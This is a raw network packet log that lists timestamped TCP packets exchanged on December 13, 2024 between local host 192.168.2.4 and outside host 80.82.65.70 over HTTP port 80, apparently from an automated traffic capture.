Dec 13, 2024 01:09:50.526124001 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.526185036 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.526213884 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.526259899 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.526962996 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.527020931 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.527055025 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.527103901 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.527808905 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.527857065 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.527921915 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.528053999 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.528644085 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.528778076 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.541490078 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.541584015 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.541714907 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.541794062 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.541872025 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.541938066 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.541966915 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.542015076 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.542716980 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.542771101 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.543013096 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.543067932 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.543123960 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.543222904 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.543889046 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.543952942 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.543987036 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.544053078 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.544758081 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.544833899 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.544883013 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.544960022 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.545574903 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.545628071 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.545686960 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.545737982 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.546427011 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.546489000 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.546523094 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.546580076 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.547260046 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.547327995 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.547363997 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.547413111 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.548122883 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.548182964 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.548235893 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.548300982 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.548969030 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.549026012 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.549097061 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.549144983 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.549835920 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.549885035 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.549938917 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.549988031 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.550697088 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.550772905 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.550801992 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.550843954 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.551533937 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.551578999 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.551707983 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.551757097 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.619678974 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.619750977 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.619760990 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.619834900 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.620009899 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.620100021 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.620134115 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.620210886 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.620846033 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.620901108 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.621140957 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.621260881 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.621270895 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.621315002 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.621982098 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.622035027 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.622067928 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.622119904 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.622819901 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.622869968 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.622920990 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.622991085 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.623646021 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.623698950 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.623732090 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.623780012 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.624470949 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.624536037 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.624639988 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.624681950 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.625281096 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.625327110 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.625401020 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.625451088 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.626102924 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.626148939 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.626209974 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.626252890 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.626965046 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.627017975 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.627094030 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.627130032 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.627789974 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.627836943 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.627873898 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.627944946 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.628611088 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.628660917 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.628701925 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.628777981 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.629462957 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.629509926 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.629535913 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.629590034 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.630269051 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.630361080 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.630393982 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.630462885 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.631073952 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.631162882 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.631189108 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.631244898 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.631918907 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.631994963 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.632020950 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.632114887 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.632749081 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.632797003 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.632894993 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.633017063 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.633580923 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.633625984 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.633658886 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.633708000 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.634413958 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.634475946 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.634488106 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.634531021 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.635226965 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.635327101 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.635354042 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.635394096 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.636107922 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.636164904 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.636188030 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.636198997 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.636881113 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.636924982 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.636986971 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.637032032 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.637727022 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.637803078 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.637805939 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.637860060 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.638555050 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.638602972 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.638637066 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.638684034 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.639369965 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.639422894 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.639576912 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.639617920 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.640221119 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.640276909 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.640288115 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.640351057 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.640984058 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.641032934 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.710074902 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.710156918 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.710179090 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.710309982 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.710460901 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.710521936 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.710551023 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.710645914 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.711061954 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.711144924 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.711178064 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.711246967 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.711886883 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.711993933 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.712006092 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.712080956 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.712721109 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.712774038 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.712832928 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.713020086 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.713551044 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.713671923 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.713730097 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.714447975 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.714559078 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.714642048 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.715195894 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.715244055 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.715298891 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.715998888 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.716054916 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.716108084 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.716156006 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.716876030 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.717008114 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.717061996 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.717653036 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.717762947 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.718003988 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.718477011 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.718523026 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.718622923 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.718703032 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.719342947 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.719461918 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.719484091 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.719511986 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.720132113 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.720213890 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.733484030 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.733680010 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.733887911 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.733951092 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.733983040 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.734114885 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.734710932 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.734798908 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.735373974 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.735529900 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.735641956 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.736370087 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.736390114 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.736414909 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.736491919 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.737195015 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.737310886 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.738017082 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.738070011 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.738091946 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.738837957 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.738889933 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.738953114 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.739038944 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.739671946 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.739712000 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.739778042 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.739862919 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.740514040 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.740626097 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.741324902 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.741375923 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.741440058 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.742136955 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.742244959 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.742270947 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.742289066 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.742970943 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.743031979 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.743074894 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.743166924 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.743787050 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.743885040 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.812030077 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.812160015 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.812283993 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.812385082 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.812427998 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.812558889 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.813133955 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.813268900 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.813426971 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.813929081 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.814050913 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.814749002 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.814805984 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.814840078 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.815365076 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.815593958 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.815713882 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.815767050 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.816412926 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.816498995 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.816533089 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.816585064 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.817246914 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.817296982 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.817332029 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.817539930 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.818099976 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.818249941 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.818886042 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.818936110 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.818957090 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.819366932 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.819732904 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.819864035 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.820578098 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.820638895 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.820672035 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.820853949 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.821374893 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.821479082 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.821532965 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.822196960 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.822271109 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.822300911 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.822457075 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.823040962 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.823138952 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.823159933 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.823292971 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.823892117 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.823954105 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.823982000 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.824032068 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.824706078 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.824759960 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.824800968 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.824860096 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.825503111 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.825553894 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.825618982 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.825725079 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.826353073 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.826443911 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.826494932 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.827159882 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.827286005 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.827337027 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.827995062 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.828058958 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.828799963 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.828824997 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.828955889 CET	80	49731	80.82.65.70	192.168.2.4
